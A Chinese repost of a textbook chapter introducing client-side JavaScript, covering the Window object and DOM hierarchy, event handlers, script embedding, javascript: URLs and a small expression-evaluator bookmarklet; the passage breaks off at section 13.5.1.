Web浏览器中的JavaScript

来源:互联网 发布:网络趣事 编辑:程序博客网 时间:2024/05/16 17:00

第二部分包括第13章到第23章的内容,描述了Web浏览器中实现的JavaScript。在这些章节中引入了大量可脚本化的对象,这些对象用于表示Web浏览器和HTML及XML文档的内容。

         第13章,Web浏览器中的JavaScript

         第14章,脚本化浏览器窗口

         第15章,脚本化文档

         第16章,层叠样式表和动态HTML

         第17章,事件和事件处理

         第18章,表单和表单元素

         第19章,cookie和客户端持久性

         第20章,脚本化HTTP

         第21章,JavaScript和XML

         第22章,脚本化客户端图形

         第23章,脚本化JavaApplet和Flash电影

 

第13章Web浏览器中的JavaScript

 

本书的第一部分介绍了核心JavaScript语言。第二部分开始转向在Web浏览器中所使用的JavaScript,通常叫做客户端的JavaScript。迄今为止,我们所看到的大部分例子虽然是合法的JavaScript代码,但是却没有特定的环境,也就是说它们不过是一些运行在没有说明的环境中的JavaScript片段。本章给它们提供了这个环境。首先,我们将对Web浏览器编程环境进行了一般性介绍。然后我们将讨论如何使用<script>标记、HTML事件句柄属性和JavaScript URL来将JavaScript代码嵌入HTML文档。这些有关嵌入JavaScript的小节之后,是说明客户端JavaScript执行模式的章节,也就是说明Web浏览器如何以及何时运行JavaScript代码。接下来的小节涉及到JavaScript编程中的3个重要的话题:可兼容性、可访问性以及安全性。本章的最后简短地描述了和Web相关的JavaScript语言的嵌入,而不是客户端的JavaScript。

当JavaScript嵌入到一个Web浏览器中,浏览器就展现出一种强大而多样的能力,并且允许它们被脚本化。第13章以后的每一章都关注客户端JavaScript功能的一个主要领域。

         第14章,脚本化浏览器窗口,介绍了JavaScript如何能够脚本化浏览器窗口,例如,通过打开和关闭浏览器窗口、显示对话框、启动载入指定的URL的窗口,或者启动在浏览器的浏览历史中退后或前进的窗口来实现。本章还介绍了和客户端JavaScript中的Window对象相关的其他和各种各样的客户端JavaScript功能。

         第15章,脚本化文档,介绍了JavaScript如何能够和显示在一个Web浏览器窗口中的文档内容交互,以及它如何对一个文档查找、插入、删除和改变内容。

         第16章,层叠样式表和动态HTML,介绍了JavaScript和CSS之间的交互,并且演示了JavaScript如何通过脚本化CSS样式、类和样式表单来改变一个文档的表现。组合脚本化和CSS的一个特殊的强化结果就是动态HTML(DHTML),其中,HTML内容可以隐藏、显示、移动,甚至动画播放。

         第17章,事件和事件处理,说明了事件和事件处理,并展示了JavaScript如何通过允许Web页面响应用户输入来增加其交互性。

         第18章,表单和表单元素,介绍了HTML文档中的表单,以及JavaScript如何使用表单来收集、验证、处理和提交用户输入。

         第19章,cookie和客户端持久性,介绍了JavaScript脚本如何使用HTTPcookie持久地存储数据。

         第20章,脚本化HTTP,介绍了HTTP脚本化(通常叫做Ajax),并且展示了JavaScript如何和Web服务器通信。

         第21章,JavaScript和XML,介绍了JavaScript如何创建、载入、解析、转换、查询、序列化XML文档,以及如何从XML文档提取信息。

         第22章,脚本化客户端图形,介绍了能够制作Web页面中的图像翻滚动画的常用JavaScript图像操作技术,还展示了几种用于在JavaScript的控制下动态地绘制矢量图形的技术。

         第23章,脚本化JavaApplet和Flash电影,介绍了JavaScript如何与嵌入到Web页面中的Java applet和Flash电影交互。

 

13.1Web浏览器环境

要理解客户端JavaScript,必须理解Web浏览器所提供的编程环境。接下来的几节介绍的是编程环境的三个重要特性:

         作为全局对象的Window对象和客户端JavaScript代码的全局执行环境。

         客户端对象的层次和构成它的一部分的文档对象模型(DOM)。

         事件驱动的编程模型。

这些小节之后将讨论JavaScript在Web应用程序开发中的适当的角色。

13.1.1作为全局执行环境的Window对象

Web浏览器的主要任务是在一个窗口中显示HTML文档。在客户端JavaScript中,表示HTML文档的是Document对象,Window对象代表显示该文档的窗口(或帧)。虽然对于客户端JavaScript来说,Document对象和Window对象都很重要,但是相比较而言,Window对象更重要一些,一个本质上的原因是Window对象是客户端编程中的全局对象。

 

回忆一下,我们在第4章中介绍过,JavaScript的每一个实现都有一个全局对象,该对象位于作用域链的头部。这个全局对象的属性也就是全局变量。客户端JavaScript的Window对象是全局对象,它定义了大量的属性和方法,使用户可以对Web浏览器的窗口进行操作。它还定义了引用其他重要对象的属性,如引用Document对象的document属性。此外Window对象还包括两个自我引用的属性:window和self。可以使用这两个全局变量来直接引用Window对象。

由于在客户端JavaScript中Window对象是全局对象,因此所有的全局变量都被定义为该对象的属性。例如,下面的两行代码实际上执行的是相同的功能:

         varanswer = 42;

         window.answer= 42;

Window对象代表的是一个Web浏览器窗口(或者窗口中的一个帧,在客户端JavaScript中,顶层窗口和帧本质上是等价的)。编写使用多窗口(或帧)的JavaScript应用程序是可能的。应用程序中出现的每个窗口都对应一个Window对象,而且都为客户端JavaScript代码定义了一个唯一的执行环境。换句话说,JavaScript代码在一个窗口中声明的全局变量并不是另一个窗口的全局变量,但是,另一个窗口中的JavaScript代码却可以存取第一个窗口的全局变量,受到某种安全限制。我们将在第14章中给出处理这一问题的详细说明。

 

13.1.2客户端的对象层次和文档对象模型(DOM)

Window对象是客户端JavaScript中的一个关键对象。其他所有的客户端对象都通过这个对象访问。例如,每个Window对象都定义了一个document属性,该属性引用与这个窗口关联在一起的Document对象,location属性引用与该窗口关联在一起的Location对象。当一个Web浏览器显示一个带帧的文档,顶层的Windows对象的frames[]数组包含了对代表帧的Windows对象的引用。因此,在客户端JavaScript中,表达式document代表的是当前窗口的Document对象,而表达式frames[1].document引用的是当前窗口的第二个子帧的Document对象。

Document对象(以及其他的客户端JavaScript对象)也可以拥有引用其他对象的属性。例如,每个Document对象都有一个forms[]数组,它包含的是代表该文档中出现的所有HTML表单的Form对象。要引用这些表单,可以编写如下的代码:

         window.document.forms[0]

继续使用上面的例子,每个Form对象都有一个elements[]数组,该数组包含了出现在表单中的各种HTML表单元素(如输入域、按钮等)的对象。在极其特殊的情况下,可以编写引用整个对象链底部的对象的代码,其表达式的复杂度如下:

         parent.frames[0].document.forms[0].elements[3].options[2].text

我们已经知道,Window对象是位于作用域链头部的全局对象,JavaScript中的所有客户端对象都是作为其他对象的属性来存取的。这就是说,存在一个JavaScript对象的层次,这个层次的根是一个Window对象。图13-1说明了这一层次,仔细研究这幅图,理解其中的层次以及它所包含的对象,对成功地设计客户端JavaScript的程序至关重要。余下的章节都用于描述图中所示的对象的细节。

 

 

 

 

 

The

Current

Window

 

 

 

 

 

1  self,window,

parent,top

various Window objects

 

2  navigator

Navigator object

 

3  frames[]

array of Window objects

 

4  location

Location object

 

5  history

History object

 

6  document

Document object

 

7  screen

Screen object

 

 

 

 

 

 

 

 

1 forms[]

array of Form objects

 

2 anchors[]

array of Anchor objects

 

3 links[]

array of Link objects

 

4 images[]

array of Image objects

 

5 applets[]

array of applets

 

 

 

 

 

 

 

 

elements[]

array of HTML form element objects:

Input

Select

Textarea

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

options[]

array of

Option objects

图13-1:客户端的对象层次和0级DOM

注意,图13-1仅仅显示出了那些引用其他对象的属性。图中所示的大部分对象具有的方法和属性都比显示出来的要多。

图13-1中显示的许多对象都继承了Document对象。大型的客户端对象层次的子树叫做文档对象模型(DOM,document object model),它很有趣,因为它已经成为标准化进程的焦点。图13-1显示的Document对象已经成为实际标准,因为所有主流浏览器都统一实现了它。它们统称为0级DOM,因为它们构成了文档功能的基本级别,JavaScript的程序员在所有浏览器中都可以应用该级别。这些基本的Document对象是第15章的主题,本章还介绍了W3C标准化的更高级的文档对象模型。HTML表单也是DOM的一部分,但是它们比较特殊,因此在专门的一章第18章中介绍。

 

13.1.3事件驱动的编程模型

在计算技术的早期,计算机程序常常以批处理的模式运行。也就是说,它们先读进来一批数据,然后对这批数据进行计算,最后输出计算的结果。随着时间片共享和基于文本的终端的出现,便开始进行有限的交互,程序要求用户输入。用户输入数据,然后计算机对数据进行处理并且在屏幕上显示出结果。

现在,出现了图形显示和像鼠标这样的点击设备,情况就又不同了。程序通常都是事件驱动的,用户以鼠标点击和键盘敲击的方式进行输入,程序则根据鼠标指针的位置对这种异步的用户输入进行响应。Web浏览器恰恰就是这样一个图形环境。由于一个HTML文档包含嵌入式GUI(图形用户接口,graphical user interface),因此客户端JavaScript使用的就是这种事件驱动的编程模型。

编写一个不接受用户输入、每次都完成相同工作的静态JavaScript程序也是完全可能的。有时这种程序非常有用,但是,大多数情况下我们需要编写能够和用户交互的动态程序。要做到这一点,必须能够响应用户输入。

在客户端JavaScript中,Web浏览器使用事件(event)来通知程序有用户输入。事件的类型有很多种,例如按键事件、鼠标移动事件等等。当一个事件发生时,Web浏览器会先尝试调用一个适合的事件句柄函数来响应那个事件。因此,要编写一个动态的、交互性的客户端JavaScript程序,必须先定义一些适当的事件句柄,并将它们注册到系统中,这样浏览器才能在适当的时刻调用它们。

如果读者还不熟悉事件驱动的编程模型,那么熟练使用这种模型还需要花费一番工夫。在旧的模型中,可以编写一个大的代码块,把它放在一些定义明确的控制流之后,并且从头到尾完整地运行一遍即可。但事件驱动的编程模型则有自己的模式。在事件驱动的编程中,可以编写大量独立的(但不是交互的)事件句柄。程序员并不需要直接调用这些处理函数,而是让系统在适当的时机调用它们。由于它们是由用户输入触发的,因此事件句柄应该在不可预知的异步时刻被调用。在大部分时间中,程序根据就不运行,只是等待系统调用它的某一个事件句柄。

下面一节解释了JavaScript代码是如何嵌入到HTML文件中的。它说明了如何才能既定义从头到尾同步运行的静态代码块,又定义由系统异步调用的事件句柄。我们将在第15章再次讨论事件和事件处理,并且在稍后的第17章更详细地介绍事件。

 

13.1.4JavaScript在Web中的角色

本章的简介部分包含了能够使用客户端JavaScript来脚本化的Web浏览器能力的一个列表。但是,请注意,这个列表列出的是JavaScript能用来做什么,这和JavaScript应该用来做什么是两回事。本节试图说明JavaScript在Web应用程序开发中所扮演的合适的角色。

Web浏览器显示那些使用CSS样式表单来样式化的HTML结构的文本。HTML定义了内容,CSS提供了表现形式。如果运用得当,JavaScript可以为内容及其表现形式增加行为。JavaScript的作用就是增强用户的浏览体验,使得信息的获取和传输更加容易。用户的体验不应该依赖于JavaScript,但是JavaScript可以作为这种体验的工具。JavaScript可以用多种方式来做到这些。例如:

创建像图像翻滚这样的视觉效果,精细地引导用户,并且有助于页面导航。

         对一张表格的各列排序,从而使用户更容易找到所需的东西。

         隐藏某些内容,或者当用户“深入探究”该内容的时候有选择地展示某些细节。

         通过和Web服务器直接通信将浏览体验流程化,以便新的信息无需整个页面重载就能显示出来。

 

13.1.5无干扰的JavaScript

 

一种新的叫做无干扰的JavaScript(unobtrusive JavaScript)的客户端编程模式已经在Web开发社区中流行开来。正如其名字所示,这种模式强调JavaScript自身不应该惹人注意,它不应该产生打扰。它不应该去干扰用户浏览一个Web页面,不应该干扰内容作者创建HTML标记,或者干扰Web设计者创建HTML模板或CSS样式表。

编写无干扰的JavaScript代码并没有确定的公式。但是,有些有用的实践(其他的一些书中讨论过)能够帮助读者步入正途。

无干扰的JavaScript的首要目标就是保持JavaScript代码和HTML标记的分离。这种让内容分离于行为的方式,与将CSS放入样式表而保持内容与表现分离的方式如出一辙。为了实现这一目标,把所有的JavaScript代码放入到外部文件中,并且用<script src=>标记(参见13.2.2节的详细介绍)把这些文件包含到HTML页面中。如果区分内容和行为很严格,就不会把JavaScript代码包含到HTML文件的事件句柄属性中。相反,会编写JavaScript代码(在一个外部文件中)然后在需要它们的HTML元素上注册事件句柄(第17章介绍了如何做到这点)。

为了实现这一目标,应该使用第10章所介绍的技术,尽可能地让JavaScript代码的外部文件成为模块。这允许把多个独立的代码模块包含到同一个Web页面中,而不需要担心一个模块的变量和函数覆盖了其他模块的变量和函数。

无干扰的JavaScript的第二个目标是它必须降低优雅性。脚本应该基于增加HTML的内容来构思和设计,但是,即便没有这些JavaScript代码,内容也应该能用(例如,可能发生的情况是,当一个用户关闭了浏览器的JavaScript功能的时候)。优雅降低的一项重要技术叫做功能测试,即在采取任何操作之前,JavaScript模块应该首先确保它所需要的客户端功能在代码所运行的浏览器中是可用的。功能测试是一种兼容性技术,13.6.3节将更详细地介绍它。

 

无干扰的JavaScript的第三个目标是,它不能降低一个HTML页面的可访问性(并且理想的情况是它能增强可访问性)。如果所包含的JavaScript代码降低了Web页面的可访问性,JavaScript代码就影响了那些依赖可访问的Web页面的用户。13.7节更详细地描述了JavaScript的可访问性。

 

无干扰的JavaScript的其他规则也可能包含这里所描述的目标以外的其他目标。了解更多有关无干扰的脚本化的一个主要信息来源是“The JavaScript Manifesto”,这篇文章由DOM ScriptingTask Force发表于http://domscripting.webstandards.org/?page_id=2。

 

13.2在HTML中嵌入脚本

把客户端JavaScript代码嵌入HTML文档有很多方法:

         放置在标记对<script>和</script>之间

         放置在由<script>标记的src属性指定的外部文件中

         放置在事件句柄中,该事件句柄由onclick或onmouseover这样的HTML属性值指定

         在一个URL之中,这个URL使用特殊的javascript:协议

本节介绍了<script>标记。事件句柄和JavaScript URL都将在本章稍后介绍。

 

13.2.1<script>标记

客户端JavaScript脚本是HTML文件的一部分,通常放置在标记<script>和</script>之间。

         <script>

       //

         </script>

在XHTML中,<script>标记中的内容被当作其他内容一样地对待。如果JavaScript代码包含了<或&字符,这些字符就被解释成为XML标记。因此,如果要使用XHTML,最好把所有的JavaScript代码放入到一个CDATA部分中:

         <script><![CDATA[//

         ]]></script>

一个HTML文档可以包含任意多个<script>元素。这些多个独立的脚本的执行顺序就是它们在文档中出现的顺序(然而,参阅13.2.4节中的defer属性,这是一个例外)。尽管在装载和解析一个HTML文件的过程中,各个脚本在不同时刻执行,但是这些脚本却是同一个JavaScript程序的组成部分,因为在一个脚本中定义的函数和变量适用于随后出现的同一文件中的所有脚本。例如,可以将下面的一行脚本放到一个HTML页<head>标记中:

         <script>functionsquare(x) {return x*x;} </script>

在同一页面中该行脚本之后,可以引用square()函数,即使这个引用出现在另一个脚本块中。关键的环境是那个HTML页,而不是脚本块:

         <script>alert(square(2));</script>

例13-1展示的是一个HTML文件,这个文件包含一个简单的JavaScript程序。注意这个例子和本书前面所示的一些代码段之间的差别,这个程序和一个HTML文件结合在一起,具有明确的运行环境。还要注意<script>标记中的language属性的用法。我们将在13.2.3节中解释这一属性。

例13-1:一个HTML文件中的简单JavaScript程序

<html>

         <head>

                   <title>Today’sDate</title>

                   <scriptlanguage=”JavaScript”>

                            function print_todays_date(){

                                     var d = new Date();

                                     document.write(d.toLocaleString());

}

</script>

         </head>

         <body>

                   Thedate and time are:<br />

                   <scriptlanguage=”JavaScript”>

                            print_todays_date();

</script>

         </body>

</html>

例13-1也展示了document.write()函数。客户端的JavaScript代码也可以使用这个函数来根据脚本的位置把HTML文本输出到文档(关于这一方法,可以参见第15章了解更多细节)。注意,脚本能够生成输出以插入到HTML文档中,这意味着HTML解析器必须在解析的过程中解释JavaScript脚本。在文档解析之后,仅仅将文档中所有的脚本文本连接起来,并且将其作为一个大的脚本来运行,这是不可能的,因为文档中的任何脚本都可能去改变文档(参见13.2.4节对于defer属性的介绍)。

 

13.2.2外部文件中的脚本

 

<script>标记支持src属性。这个属性的值指定了一个包含JavaScript代码的文件的URL。它的用法如下:

         <scriptsrc=”../../scripts/util.js”></script>

JavaScript文件的扩展名通常是.js,它只包含纯粹的JavaScript代码,其中既没有<script>标记,也没有其他HTML标记。

具有src属性的<script>标记的行为就像指定的JavaScript文件的内容直接出现在标记<script>和</script>之间一样。出现在这些标记之间的任何代码和标记都会被忽略。注意,即便指定了src属性并且<script>和</script>标记之间没有JavaScript代码,结束的</script>标记也是必需的。

 

下面是使用src属性的一些优点:

         它可以把大型JavaScript代码块移出HTML文件,这有助于把内容和行为分离,从而简化了HTML文件。使用src属性是无干扰的JavaScript编程的基石。(参见13.1.5节了解这一编程思想的更多内容)。

         当某个函数或JavaScript代码由几个不同的HTML文件共享时,可以将它放置在一个单独的文件中,然后由那些需要它的HTML文件读取。这样使代码更易于维护。

         如果使用JavaScript函数的页面不止一个,那么可以将它们放置在单独的JavaScript文件中使浏览器将其缓存起来,这样装载它们时速度就更快。由多个页面共享JavaScript代码时,虽然初次打开一个JavaScript文件要求浏览器打开一个单独的网络连接,以便下载那个JavaScript文件,但是高速缓存节省的时间远远大于这个延迟。

         由于src属性的值可以是任意的URL,因此来自一个Web服务器的JavaScript程序或Web网页可以使用由另一个Web服务器输出的代码。很多互联网广告依赖于此。

 

最后一点有重要的安全含义。13.8.2节所介绍的同源安全策略不允许来自一个域的文档中的JavaScript和来自另一个域的内容交互。可是,注意脚本本身的来源则没有什么关系,只是关系到脚本被嵌入的文档的来源。因此,同源策略并不适用于如下情况:JavaScript代码可以和它所嵌入的文档交互,即便代码和文档具有不同的来源。当使用src属性在页面中包含一个脚本的时候,就给了这段脚本的作者(以及载入的脚本所来自的域的Web管理员)完全控制Web页面的权力。

 

13.2.3指定脚本语言

尽管JavaScript是Web的最初的脚本化语言,并且目前仍然是最常见的一种,但它并非惟一的一种脚本化语言。HTML规范是语言无关的,并且浏览器厂商可以支持他们自己所选择的任何脚本化语言。实际上,JavaScript的惟一替代就是Microsoft的Visual Basic Scripting Edition,它得到了InternetExplorer的支持。

既然有多种可能的脚本化语言,就必须告诉浏览器脚本是用哪种语言编写的。这使得浏览器能够正确地解释脚本,并且,浏览器可以忽略那些使用它不知道如何解释的语言所编写的脚本。可以使用HTTP Content-Script-Type头部来为一个文件指定默认的脚本语言,还可以使用HTML的<meta>标记来模拟这一头部。要把所有的脚本都指定为使用JavaScript(除了那些已经用其他方式指定了的脚本),只需要把如下的标记放入到HTML文档的<head>中:

         <metahttp-equiv=”Content-Script-Type” content=”text/javascript” />

实际上,即便服务器省略了Content-Script-Type并且页面省略了<meta>标记,浏览器还是会假设JavaScript作为默认的脚本化语言。可是,如果没有指定一个默认的脚本化语言,或者希望覆盖掉默认语言,可以使用<script>标记的type属性:

         <scripttype=”text/javascript”></script>

JavaScript程序的传统的MIME类型是“text/javascript”。另一种曾经使用过的类型是“application/x-javascript”(其中的x前缀表示这是一个试验的非标准类型)。RFC 4329将”text/javascript”标准化,因为它很常用。可是,由于JavaScript程序并非真正的文本文档,它将这一类型作为废弃的,并且推荐“application/javascript”(无x前缀)作为替代。在编写本书的时候,“application/javascript”还没有得到广泛的支持。一旦它得到了广泛的支持,最合适的<script>和<meta>标记就成为:

         <scripttype=”application/javascript”></script>

         <metahttp-equiv=”Content-Script-Type” content=”application/javascript”>

当<script>标记第一次引入的时候,它还是HTML的一个非标准的扩展,并且不支持type属性。相反,脚本语言使用language属性来定义。这一属性只是指定了脚本语言的通用名字。如果要编写JavaScript代码,可以这样使用language属性:

         <scriptlanguage=”JavaScript”>

         </script>

如果使用VBScript编写一个脚本,像这样使用该属性:

         <scriptlanguage=”VBScript”>

          //code

         </script>

HTML4规范标准化了<script>标记,但是它废弃了language属性,因为对脚本语言来说没有一组标准化的名字。有时会看到这样的<script>标记,为遵从标准而使用type属性,并且为了较早的浏览器向后兼容而使用language属性:

         <scripttype=”text/javascript” language=”JavaScript”></script>

language属性有时候用来指定编写脚本的JavaScript的版本,和标记一起这样使用:

         <script language=”JavaScript1.2”></script>

         <script language=”JavaScript1.5”></script>

从理论上讲,Web浏览器忽略用它们所不支持的JavaScript版本编写的脚本。也就是说,较早的不支持JavaScript1.5的浏览器不会尝试运行拥有“JavaScript 1.5”的language属性的脚本。较早的Web浏览器会识别这一版本号,但由于核心JavaScript语言已经保持多年的稳定,很多新的浏览器会忽略language属性所指定的任何版本号。

 

13.2.4defer属性

正如前面所提到的,一个脚本可以调用document.write()方法来动态地为文档添加内容。正因为如此,当HTML解析器遇到一个脚本,它必须按常规终止对文档的解析并且等待脚本执行。HTML4标准定义了<script>标记的一个defer属性来解决这一问题。

如果编写了一个并不产生任何文档输出的脚本,例如定义了一个函数但并不调用document.write()的一个脚本,可以使用<script>标记中的defer属性来提示浏览器这样做是安全的:继续解析HTML文档并延迟脚本的执行,直到遇到一个无法延迟的脚本。通常,当一个脚本从一个外部文件载入的时候,延迟它是很有用的;如果它没有被延迟,浏览器必须等待,直到在它可以继续解析包含文档之前脚本已经载入。在使用了defer属性的浏览器中,延迟可能使性能得到提高。在HTML中,defer属性并没有值,它只是必须出现在标记中:

         <scriptdefer>

                  //code

</script>

然而,在XHTML中,该属性需要一个值:

         <scriptdefer=”defer”></script>

在编写本书的时候,Internet Explorer是惟一一个使用了defer属性的浏览器。当浏览器和src属性一起使用的时候,它就会使用defer属性。但是,IE并没有很正确地实现defer属性,因为,延迟的脚本总是被延迟,直到文档结束,而不是只延迟到遇到下一个非延迟的脚本。这意味着,IE中延迟的脚本的执行顺序混乱,并且不能定义任何函数或设置任何变量,而这些函数和变量是后面的非延迟脚本所需要的。

 

13.2.5<noscript>标记

 

HTML定义了<noscript>标记,用来保存只有当浏览器中的JavaScript被关闭的时候才要提交的内容。理想情况下,应该制作Web页面以使JavaScript只是充当一种增强,并且页面“降低优雅性”,没有JavaScript也照样工作。可是,当这并不可能的时候,可以使用<noscript>标记来通知用户:需要JavaScript并且可能用它提供一个指向替换内容的连接。

 

13.2.6</script>标记

 

有时,程序员会发现自己编写的脚本用document.write()方法或innerHTML属性来输出其他脚本(通常是向另一个浏览器窗口或帧中输出)。如果编写了这样一个脚本,就应该输出一个</script>标记来终止所创建的脚本。必须注意,因为HTML解析器不理解JavaScript代码,如果它看到代码中的“</script>”字符串,即使</script>标记出现在引号中,HTML解析器也会认为它发出现了当前运行的脚本的结束标记。要避免这种问题,只需要将标记拆成片段,用表达式”</” + “script>”写出即可:

         <script>

                   f1.document.write(“<script>”);

                   f1.document.write(“document.write(‘<h2>Thisis the quoted script</h2>’)”);

                   f1.document.write(“</”+ “script>”);

         </script>

另外,还可以在</script>中使用转义符“/”:

         f1.document.write(“<\/script>”);

在XHTML中,脚本包含在CDATA部分中,这一使用结束的</script>标记的问题不会发生。

 

13.2.7向较早的浏览器隐藏脚本

 

当JavaScript版本较新的时候,某些浏览器并不识别<script>标记,并且因此(正确地)将此标记的内容作为文本提交。用户访问Web页面时,会看到JavaScript代码被格式化为大的没有意义的段落,并且作为Web页面内容出现。这一问题的解决方法比较简单,只需要在<script>标记中使用HTML注释。JavaScript程序员习惯这样编写脚本:

         <scriptlanguage=”JavaScript”>

                   <!--BeginHTML comment that hides the script

                            //JavaScriptstatements go here

                            //

                            //

                            //EndHTML comment that hides the script -->

         </script>

或者,像下面这样更加紧凑地编写:

         <script><!--

                   //

                   --></script>

为了使这段代码工作,客户端JavaScript把核心的JavaScript语言略为改变,以使位于脚本开始处的字符序列<!--就像是//一样地工作:它引入了一个单行注释。

需要这种注释的浏览器已经成为过去了,但是,还是可能在现有的Web页面中碰到这种情况。

 

13.2.8非标准的Script属性

Microsoft为<script>标记定义了两个完全非标准的属性,它们只在IE中工作。event属性和for属性允许使用<script>标记来定义事件句柄。event属性指定了要处理的事件的名字,而for属性指定了用来处理事件的元素的名字或ID。当指定的事件在指定的元素上发生的时候,脚本的内容就会执行。

这些属性只在IE中工作,因此它们的功能可以以其他的方式很容易地实现。不应该使用它们。这里提到它们只是为了当在已有的Web页面中碰到它们的时候能够知道它们是干什么的。

 

13.3HTML中的事件句柄

在包含它的HTML文件被读进浏览器的时候,脚本中的JavaScript代码只执行一次。仅使用这种静态脚本的程序不能动态地响应用户。很多动态性的程序都定义了事件句柄,当某个事件发生时(如用户点击了表单内的一个按钮),Web浏览器会自动调用相应的事件句柄。由于客户端JavaScript的事件是由HTML对象(如按钮)引发的,因此事件句柄被定义为这些对象的属性。例如,要定义在用户点击表单中的复选框时调用的事件句柄,只需把处理代码作为定义复选框的HTML标记的属性:

         <inputtype=”checkbox” name=”options” value=”giftwrap” onclick=”giftwrap =this.checked;” />

在这段代码中,我们感兴趣的是属性onclick。onclick的属性值是一个字符串,其中包含一个或多个JavaScript语句。如果其中有多条语句,必须使用分号将每条语句隔开。当指定的事件(在这里是点击)在复选框中发生时,字符串中的JavaScript代码就会被执行。

虽然可以在事件句柄定义中加入任意多条JavaScript语句,然而,经常使用的一种技术就是,使用事件句柄属性来调用在<script>标记中的其他地方所定义的函数。这样一来,大部分JavaScript代码都存放在脚本中,从而减少了JavaScript和HTML的混合。

注意,HTML的事件句柄属性并不是定义JavaScript事件句柄的惟一方式。第17章介绍了,也可以在一个<script>标记中使用JavaScript代码来为HTML元素指定JavaScript事件句柄。一些JavaScript开发者争论说不应该使用HTML的事件句柄属性,真正的无干扰的JavaScript要求内容和行为的完全分离。根据这一JavaScript编码风格,所有的JavaScript代码都应该放到一个外部文件中,通过HTML的<script>标记的src属性来引用该文件。不管在运行的时候需要哪种事件句柄,都可以定义这样的一个外部JavaScript代码。

我们将在第17章中更为详细地介绍事件和事件句柄,不过在此之前,它们出现在各种示例中。尽管第17章具有完整的事件句柄列表,但下面仍然介绍它们中最常用的几个:

 

onclick

         所有类似按钮的表单元素和标记<a>及<area>都支持该处理程序。当用户点击元素时会触发它。如果onclick处理程序返回false,则浏览器不执行任何与按钮或链接相关的默认动作,例如,它不会进行超链接(用于标记<a>)或提交表单(用于提交按钮)。

onmousedown, onmouseup

这两个事件句柄和onclick非常相似,只不过分别在用户按下和释放鼠标按钮时触发。大多数文档元素都支持这两个处理程序。

onmouseover,onmouseout

         分别在鼠标指针移到或移出文档元素时触发这两个处理程序。

onchange

         <input>、<select>和<textarea>元素支持这个事件句柄。在用户改变了元素显示的值,或移出了元素的焦点时触发它。

onload

         这个事件句柄出现在<body>标记上,当文档及其外部内容(如图像)完全载入的时候触发它。onload句柄常常用来触发操作文档内容的代码,因为它表示文档已经达到了一个稳定的状态并且修改它是安全的。

作为事件句柄用法的真实示例,可以再研究一下例1-3所示的交互式借贷脚本。这个例子中的HTML表单含有大量事件句柄属性。这些处理程序的主体非常简单,它们只是调用在<script>中的其他地方定义的calculate()函数。

 

13.4URL中的JavaScript

将JavaScript代码包含到客户端的另一种方式,就是在一个URL后面跟上一个javascript:伪协议限定符。这种指定的协议类型说明了URL的内容是JavaScript解释器将要运行的JavaScript代码的一个任意的字符串。它被当作单独的一行代码对待,这意味着这条语句必须用分号分隔开,并且/* */注释必须用来取代//评论。一个JavaScript URL如下所示:

         javascript:varnow = new Date(); “<h1> The time is:</h1>” + now;

当浏览器载入这样的一个JavaScript URL,它会执行URL中所包含的JavaScript代码,并且使用最后一个JavaScript语句或表达式的值,转换为一个字符串,作为新载入的文档的内容显示。这个字符串值可能包含HTML标记,并且像载入到浏览器中的其他文档那样格式化和显示。

JavaScript URL也可以包含执行操作但不返回值的JavaScript语句。例如:

         javascript:alert(“Helloworld!”);

当载入了这种类型的URL的时候,浏览器执行JavaScript代码,但是,由于没有值作为新的文档来显示,它并不会改变当前显示的文档。

通常,程序员还可能希望使用一个JavaScript URL来执行某些JavaScript代码而不改变当前显示的文档。要做到这一点,需要确保URL中的最后一条语句没有返回值。确保这一点的一种方式是,使用void运算符来显式地指定一个未定义的返回值。只需要在JavaScript URL的结尾使用void 0;。例如,下面的URL打开一个新的空白的浏览器,而并不改变当前窗口的内容:

         javascript:window.open(“about:blank”);void 0;

如果这个URL中没有void运算符,window.open()方法调用的返回值将会被转换为一个字符串并显示,并且当前的文档会被新的文档覆盖,新文档显示如下内容:

         [objectWindow]

在任何可以使用常规URL的地方都可以使用一个JavaScript URL。使用这一语法的一种方便的方法就是,直接在浏览器的地址字段输入它,在这里可以直接测试任意的JavaScript代码而不需要打开编辑器并创建一个包含代码的HTML文件。

javascript:伪协议可以和HTML属性一起使用,该属性的值也应该是一个URL。一个超链接的href属性就满足这种条件。当用户点击一个这样的链接,指定的JavaScript代码会执行。在这种情况下,JavaScript URL本质上是一个onclick事件句柄的替代(注意,和HTML链接一起使用一个onclick句柄或者一个JavaScript URL通常都是糟糕的设计选择,应使用一个按钮来替代,并且保留那个链接以载入新的文档)。类似的,一个JavaScript URL可以用作一个<form>标记的action属性,这样,当用户提交这个表单的时候,URL中的JavaScript代码就会执行。

JavaScript URL也可以传递给一个期待URL参数的方法,如Window.open()方法(参见第14章)。

Bookmarklets

javascript:URL的一个特别重要的用法就是用于书签中,在那里它们构成了一个有用的小型JavaScript程序,或者叫做bookmarklets,它可以很容易从一个书签的菜单或工具条载入。如下的HTML片段包含了一个带有javascript:URL的<a>标记,这个javascript:URL作为href属性的值。点击这个链接打开一个简单的JavaScript表达式计算器,它允许在页面环境中计算表达式的执行语句:

<a href=’javascript:

         vare = “”, r = “”;

         do{

                  e = prompt(“Expression: ” + e + “\n” +r + “\n”, e);

                   try{r = “Result: “ + eval(e); }

                   catch(ex){ r = ex; }

}while(e);

void 0;

’>JavaScript Evaluator

</a>

注意,即便这个JavaScript URL写成多行,HTML解析器也将它作为单独的一行对待,并且,单行//注释在其中无效。去掉了注释和空白的链接如下所示:

<a href=’javascript:var e = “”, r = “”;do{ e = prompt(“Expression: ” + e + “\n” + r + “\n”, e);try{ r = “Result: “ +eval(e);}catch(ex){ r = ex; }} while(e); void 0;’>JS Evaluator</a>

当要对正在开发的一个页面进行硬编码的时候,这样的一个链接是有用的;而当要把它保存为可以在任何页面都能运行的书签的时候,它就变得非常有用了。通常,可以通过在链接上鼠标右键点击并选择“Bookemark This Link”或其他类似的选项来把一个链接存储为标签。在Firefox中,可以通过将链接拖到书签工具栏实现。

本书中所介绍的客户端JavaScript技术对于创建bookmarklets都是适用的,但是我们并没有详细介绍bookmarklets本身。如果读者对这种小程序很感兴趣,可以通过因特网搜索“bookmarklets”,会找到很多站点,它们提供了很多有趣的和有用的bookmarklets。

13.5JavaScript程序的执行

前面的各节讨论了把JavaScript代码整合到一个HTML文件中的方法。现在,接下来的小节讨论这些整合的JavaScript代码到底何时以及如何被JavaScript解释器执行。

 

13.5.1执行脚本

